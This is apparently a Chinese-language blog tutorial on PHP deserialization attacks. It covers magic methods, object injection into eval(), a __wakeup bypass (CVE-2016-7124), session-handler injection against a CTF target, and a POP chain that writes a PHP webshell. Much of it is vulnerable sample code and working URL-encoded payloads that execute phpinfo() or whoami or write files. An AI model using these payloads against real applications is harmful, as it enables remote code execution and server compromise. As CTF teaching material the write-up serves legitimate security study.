序列化与反序列化
在php中,使用serialize和unserialize两个函数表示序列化与反序列化。
serialize:把一个对象转化成字节流的字符串,序列化的对象会保存类的属性,不会保存方法
unserialize:把字节流字符串转化成一个对象
看下下面的列子,通过serialize序列化返回字符串
<?php
class A{
// 属性
public $name;
public $age;
public function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
// 方法
public function Skill(){
echo "My name is ".$this->name.",I am is ".$this->age." years old!<br>";
}
}
$a = new A('fanxing','20');
echo serialize($a);
?>
返回字节流的字符串
O:1:"A":2:{s:4:"name";s:7:"fanxing";s:3:"age";s:2:"20";}
O代表对象:长度:类的名字:类的属性个数:{类型:长度:属性名字;类型:长度:属性值;…}
反序列化列子如下:
<?php
class A{
// 属性
public $name;
public $age;
public function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
// 方法
public function Skill(){
echo "My name is ".$this->name.",I am is ".$this->age." years old!<br>";
}
}
$a = unserialize('O:1:"A":2:{s:4:"name";s:7:"fanxing";s:3:"age";s:2:"20";}');
$a->Skill();
?>
打印出Skill方法中的值
My name is fanxing,I am is 20 years old!
魔术方法
在学习php反序列漏洞前,都需要先了解php的魔术方法,常见的魔术方法如下:
__construct()
当一个对象被创建的时候调用该方法。
__destruct()
当一个对象被删除和销毁的时候调用。
<?php
class A{
public function __construct(){
echo "对象创建调用.<br>";
}
public function __destruct(){
echo "对象销毁调用";
}
}
$a = new A();
?>
__toString
当一个对象被当成字符串的时候进行调用。
<?php
class A{
public function __construct(){
echo "对象创建调用.<br>";
}
public function __toString(){
echo "对象字符串调用";
return "1";
}
}
$a = new A();
echo $a;
?>
__invoke
当一个对象以函数的方式进行调用的时候会被调用。
<?php
class A{
public function __construct(){
echo "对象创建调用.<br>";
}
public function __invoke(){
echo "对象以函数调用";
}
}
$a = new A();
$a();
?>
__sleep
对象在使用serialize函数前会先调用,在执行序列化的操作。
__wakeup
对象在使用unserialize函数前会先调用,在执行反序列化的操作。
<?php
class A{
public function __construct(){
echo "对象创建调用<br>";
}
public function __sleep(){
echo "序列化被调用<br>";
return array();
}
public function __wakeup(){
echo "反序列化被调用<br>";
}
}
$a = new A();
$s = serialize($a);
echo unserialize($s);
?>
__call
对象在调用不可访问的方法的时候触发
__callStatic
在静态中调用不可访问的方法的时候会触发
__set
给不可以访问的属性赋值被调用
__get
读取不可访问的属性值被调用
__isset
不可访问的属性调用为 isset() 或 empty()时被调用
__unset
对不可以访问的属性使用unset会被调用
对象注入
满足unserialize参数可控和类中存在魔法方法,并且存在危险函数既进行对象注入
<?php
class A{
private $name;
public function __construct(){
echo "对象创建调用<br>";
}
public function __destruct(){
eval($this->name);
}
}
$a = unserialize($_GET['a']);
?>
这里我们打印下序列化结果,发现属性的长度是7。
O:1:"A":1:{s:7:"Aname";N;}
这里需要注意的是成员属性使用的是private属性,在使用private和protected属性时,会在类名前后添加%00,即2个字符,使用urlencode打印出来看看。
O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22%00A%00name%22%3BN%3B%7D
同样,也可以加属性名前面添加\00*\00,构造下pyalod直接执行了任意代码
O%3A1%3A"A"%3A1%3A%7Bs%3A7%3A"%00A%00name"%3Bs%3A10%3A"phpinfo%28)%3B"%3B%7D
在举一个列子,这里使用__wakeup魔法方法来来绕过,涉及到一个CVE-2016-7124漏洞,该漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
举个列子
<?php
class A{
private $name='phpinfo();';
public function __wakeup(){
$this->name = 'phpinfo();';
}
public function __destruct(){
eval($this->name);
}
}
$a = unserialize($_GET['a']);
?>
__wakeup会在反序列化之前执行,所以怎么样对象被销毁的时候都是要执行phpinfo的,那怎么绕过
__wakeup呢?需要构造如下序列化对象:
O%3A1%3A"A"%3A2%3A%7Bs%3A7%3A"%00A%00name"%3Bs%3A17%3A"system%28"whoami"%29%3B"%3B%7D
这里对象的属性个数是1,我设置为大于1就绕过了__wakeup,所以当序列化的结果的对象属性大于本身类的对象属性就可以绕过wakeup魔术方法。
Session反序列化
php的session在存储和读取的时候,会进行序列化和反序列化,在php中有3种序列化的方式,当在php.ini中设置如下值:
session.serialize_handler | 存储方式 |
---|---|
php | 键名+竖线+经过serialize序列化的字符串 |
php_serialize | serialize序列化的的值 |
php_binary | 键名的长度对应的 ASCII 字符+键名+经过serialize()函数反序列处理的值 |
举个列子
<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = 'fanxing';
?>
当session.serialize_handler为php的时候,存储的session结果为
name|s:7:"fanxing";
当session.serialize_handler为php_serialize的时候,存储的session结果为
a:1:{s:4:"name";s:7:"fanxing";}
当session.serialize_handler为php_binary的时候,存储的session结果为
二进制字符串names:7:"fanxing"
php大于5.5.4的版本默认使用的是php_serialize。
在php.ini中,还要了解一些关于session的配置:
session.save_path session保存的路径
session.upload_progress.cleanup 上传完成后(POST)会立即删除进度,默认开启
session.upload_progress.enabled 将上传的进度存于session,默认开启
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。
这里利用CTF的一道题目:http://web.jarvisoj.com:32784/index.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('sessiontest.php'));
}
?>
可以看到题目使用的是php5.6.21,默认使用的是php_serialize,而题目使用的是php,所以可以利用session.upload_progress.enabled来构造session。
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
构造payload
<?php
class OowoO
{
public $mdzz='print_r(dirname(__FILE__));';
}
$b = new OowoO();
$a = serialize($b);
echo $a;
?>
在filename处提交payload:|O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(FILE));";}
之后就可以构造payload读取本地的文件,具体可以参考先知twosmi1e师傅和博客Mochazz师傅的文章。
POP链构造
在反序列化攻击中,一般都要寻找魔术方法中的一些敏感函数来触发漏洞,当魔法方法中不存在敏感函数时,需要构造pop链寻找相同函数将类的属性和敏感函数联系到一起。
这里,参考了这位师傅的题目,题目部分代码我删了下,看原题可以去连接看这位师傅的。
<?php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("D:\\phpStudy\\WWW\\ctf" . $this->filename, $txt, FILE_APPEND);
}
};
class Logger {
protected $logwriter;//这里装入LogWriter_File对象
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {//这里偷梁换柱Song的log
$this->logwriter->writeLog($txt);
}
};
class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};
class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};
User::getLyrics();
在进行反序列化漏洞的时候,我们需要找到可控的unserialize,这里发现$_COOKIE[‘lyrics’]参数可控,有了可控的参数,就需要找到魔术方法来自动调用,这里危险函数在LogWriter_File这个类,这时就需要构造POP链了。
首先来看魔术方法,在Lyrics类中存在两个魔术方法,发现对象在销毁的时候调用了$this->song->log(),而log方法又在Logger这个类中存在,所以属性$this->song应该为new Logger()。
class Lyrics {
protected $lyrics;
protected $song;
function __construct() {
$this->song = new Logger();
$this->lyrics = '111';
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};
继续找,当实例化对象Lyricsde时,log方法存在$this->logwriter->writeLog,而writeLog又存在于LogWriter_File类中,这好这个类是我们的漏洞触发点,所以$this->logwriter应该为new LogWriter_Fil(),构造下payload:
class Logger {
protected $logwriter;
function __construct() {
$this->logwriter = new LogWriter_File('123.php');
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};
实例化对象Logger之后,调用了LogWriter_File的writeLog方法,而写入文件的txt是通过$this->format->format获得,而format方法存在类LogFileFormat中,所以,构造如下payload:
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = new LogFileFormat();
}
function writeLog($txt) { // 111
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("D:\\phpStudy\\WWW\\ctf" . $this->filename, $txt, FILE_APPEND);
}
};
在类LogFileFormat中的format方法中利用$filter->filter来获取的$txt,而$filter是通过foreach获取的,所以$this->filters为一个数组,最终OutputFilter传入写入文件的内容,就可以构造如下payload:
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct() {
$this->matchPattern = '//';
$this->replacement = '<?= `whoami`?>';
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct() {
$this->filters = array(new OutputFilter());
$this->endl = '';
}
function format($txt) { // 111
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
echo $txt;
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
最后,将payload组合起来,利用serialize输出下序列化的结果
O%3A6%3A%22Lyrics%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00lyrics%22%3Bs%3A3%3A%22111%22%3Bs%3A7%3A%22%00%2A%00song%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A14%3A%22LogWriter_File%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A7%3A%22123.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A13%3A%22LogFileFormat%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22OutputFilter%22%3A2%3A%7Bs%3A15%3A%22%00%2A%00matchPattern%22%3Bs%3A2%3A%22%2F%2F%22%3Bs%3A14%3A%22%00%2A%00replacement%22%3Bs%3A14%3A%22%3C%3F%3D+%60whoami%60%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D
在base64下通过cookie传入就可以写入ctf123.php了
参考文章
1.http://redteam.today/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/
- Post link: http://yoursite.com/2020/04/26/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%B0pop%E9%93%BE%E6%9E%84%E9%80%A0/
- Copyright Notice: All articles in this blog are licensed under unless stating additionally.
若您想及时得到回复提醒,建议跳转 GitHub Issues 评论。
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues